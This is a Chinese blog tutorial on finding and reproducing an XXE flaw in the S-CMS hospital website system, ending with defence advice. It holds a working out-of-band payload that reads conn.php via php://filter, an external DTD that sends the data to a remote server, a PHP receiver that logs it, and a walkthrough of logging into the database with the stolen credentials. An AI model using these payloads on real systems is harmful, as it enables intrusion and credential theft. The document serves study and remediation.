100字范文,内容丰富有趣,生活中的好帮手!
100字范文 > S-CMS医院建站系统XXE通用漏洞的利用与防御

S-CMS医院建站系统XXE通用漏洞的利用与防御

时间:2023-12-28 03:06:50

相关推荐

S-CMS医院建站系统XXE通用漏洞的利用与防御

文章目录

一、什么是XXE?(一)XXE简介(二)XML声明(三)文档类型定义(DTD)(四)文档元素二、XXE漏洞复现(一)工具准备(二)代码审计寻找危险函数(三)准备工作(四)XXE漏洞复现三、XXE漏洞的防御和修复建议

本文针对S-CMS医院建站系统进行代码审计,发现多处SQL注入漏洞及XXE漏洞,限于个人的精力有限,这里仅针对weixin/index.php文件中存在的XXE漏洞进行漏洞挖掘与复现,并在文末提出针对此漏洞的防御方法。

一、什么是XXE?

(一)XXE简介

XML外部实体注入(XML External Entity),简称XXE,也可以叫XML注入。对于XXE,我们可以分成三个部分来理解:XML、外部实体、注入。注入是指用户输入的指令被当做代码执行。实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上可以理解为一个变量。XML(EXtensible Markup Language)是一种可扩展标记语言,是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

XML本身只是一个纯文本,那么是如何和注入产生联系呢?其核心在于被后端的各种脚本所调用。攻击者可以通过外部实体的调用将他自定义的值发送给服务器,当XML解析器调用该文件时,就会访问攻击者指定的资源内容(可能是系统上本地文件或远程系统上的文件),然后将访问的结果发送到指定的目标,从而实现敏感信息的获取。还可以通过XXE发起大文件的请求,进而发起拒绝服务攻击(DOS),以及入侵服务器所在的内网。

为了便于后面代码的理解,这里简单提一下XML文档的结构:

XML文档的结构包括XML声明、DTD文档类型定义(可选)、文档元素

(二)XML声明

最简单的XML声明如下:<?xml version="1.0"?>

这段代码表明了所使用的的xml的版本是1.0。由于声明的部分不是本文所写内容的重点,我们只了解最简单的即可。

(三)文档类型定义(DTD)

文档类型定义(DTD)可以是内部声明也可以引用外部DTD。DTD的格式如下:

1、内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>

2、引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM"文件名">

在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可以可在内部或外部进行声明。

3、内部声明实体格式:<!ENTITY 实体名称 “实体的值”>

4、引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URl”>

DTD简单理解为,可以通过特殊的命令去读取其他的文件。上面的SYSTEM是关键字。

(四)文档元素

XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。有很多命名规则,我们不需要深入过多,了解即可,有需要的可以查看:

XML元素简介:/xml/xml_elements.asp

二、XXE漏洞复现

(一)工具准备

下载S-CMS医院建站系统的源代码,并借助phpstudy安装该S-CMS,可以在本机、虚拟机或者云服务器上搭建,能正常访问网站首页即可。我搭建在虚拟机上,在本机通过内网ip来访问该网站。浏览器需要安装好proxy代理插件,另外还需要下载好burpsuite(必需)、seay源代码审计工具(非必需,但可提高效率)。

(二)代码审计寻找危险函数

PHP对于XML的解析是通过simplexml_load_string()函数实现的,所以要找XXE漏洞,就要先看源代码哪里有simplexml_load_string()函数。

用Seay源代码审计系统新建一个项目,载入cms文件夹。搜索simplexml_load_string函数,如下:

还有:

其他还有几处,目前就只列举这两处了。

我们以weixin/index.php文件为例,可以看到,源代码并没有对外部实体进行过滤,也没有检测用户输入的信息,因此可能存在XXE漏洞。我们需要先知道能不能访问这个文件,并且能不能执行文件中的代码,所以根据自己搭建的cms,找到在weixin文件夹下,找到index.php文件,输入:

die('hello world!');

然后访问:

http://192.168.181.128/weixin/index.php

(在虚拟机上搭建的要用对应的内网ip地址访问,假如是自己本机上,ip地址换成127.0.0.1)

注意到代码被simplexml_load_string函数解析需要满足signature参数不为空,获取传参的方式为REQUEST,可见采用POST或GET传参方式给signature随便传个参数就可以满足不为空的条件,因此可以在url后面输入?sinature=a,发现页面输出了hello world

这表明代码能够执行到这一步,接下来就可以进行XXE的漏洞复现,如果成功了就表明这里存在XXE漏洞。

(三)准备工作

经过代码审计,找到了一个可能存在XXE的漏洞点,就是weixin文件夹里的index.php。后端PHP解析xml后,页面通常是没有回显的,所以我们需要使用类似于XSS平台一样的方法把敏感信息外带出来。我们通过XML读取数据然后发送到接收的平台,接收平台会把信息存储起来,我们再去接收平台查看就可以了。

首先在服务器的网站根目录下新建一个XXE文件夹,新建三个文件,分别为1.xml,2.php,3.txt。

首先配置好代码:

<?xml version="1.0"?><!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy/www/conn/conn.php"> <!ENTITY % remote SYSTEM "http://**.**.**.**/XXE/1.xml"> %remote; %send; ]>

这段代码的作用是:

第一行声明xml使用的协议版本号(非必需)

第二行定义了一个ANY,简单理解为函数就可以,注意中括号,所以后面的代码都是在这个实体里面的,也可以把它看作一个函数,后面都是它的代码块。

ANY里面定义了两个实体,可以简单理解为ANY函数里的变量。file会使用php伪协议执行读取指定路径下的文件,并进行一次base64编码,进行编码是为了加密和方便传输。

remote是调用指定路径的1.xml文件。(我把自己的ip地址隐藏了,实际的路径是需要ip地址的,也可以是能外网访问的域名,但是1.xml必须存在)

最后两行的含义是调用remote和send。注意send是在1.xml里面定义的,所以攻击代码并没有这个。

接着设置好1.xml的内容:

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://**.**.**.**/XXE/2.php?id=%file;'>" >%all;

这里定义了一个%all,并在里面定义了一个%send 。&#x25这个是对%进行了一次HTML实体编码。这个xml文件的作用是向指定目录的2.php文件传递了一个GET传参,参数是id,值是%file, %file在上边已经定义,执行读取文件后加密文件内容的作用并返回加密的结果。

接下来在2.php文件里输入:

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

这个文件的作用是将接收到的文件内容写入到3.txt中。

(四)XXE漏洞复现

所有的准备工作都做好后,漏洞复现的操作反而是很简单的了。接下来访问目标文件:

http://192.168.181.128/weixin/index.php

考虑到需要使signature不为空,因此可以考虑直接在URL中进行GET传参,也可以抓包后再传参。这里就直接在URL中传参了,然后抓包,在末尾空一行输入攻击代码:

为了便于失败时能方便调整代码而不需要重新抓包,将数据包先发送到repeater模块,然后到该模块点击GO选项。接着去查看3.txt,发现文件大小从0KB变成了1KB,可见接收到了内容。

将3.txt的文件内容复制到burp的decoder模块,然后解码选择base64,得到:

因此数据库账号密码和库名均为root。

有了数据库的信息,接下来可以尝试登陆数据库。在自己搭建的cms中找到控制数据库登陆的后端文件,经过查找发现就在admin文件夹下的dbm.php文件中。在URL中访问改文件,输入相应的信息即可登陆数据库。

数据库登陆成功!

至此,漏洞的复现和利用过程结束。

三、XXE漏洞的防御和修复建议

知道了漏洞是如何被利用的,我们就可以针对该漏洞采取相应的措施来防御和修复了,可采用以下两个方法:

1、禁用外部实体,例如libxml_disable_entity_loader(true)

2、过滤用户提交的XML数据,防止出现非法内容,比如SYSTEM关键字。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。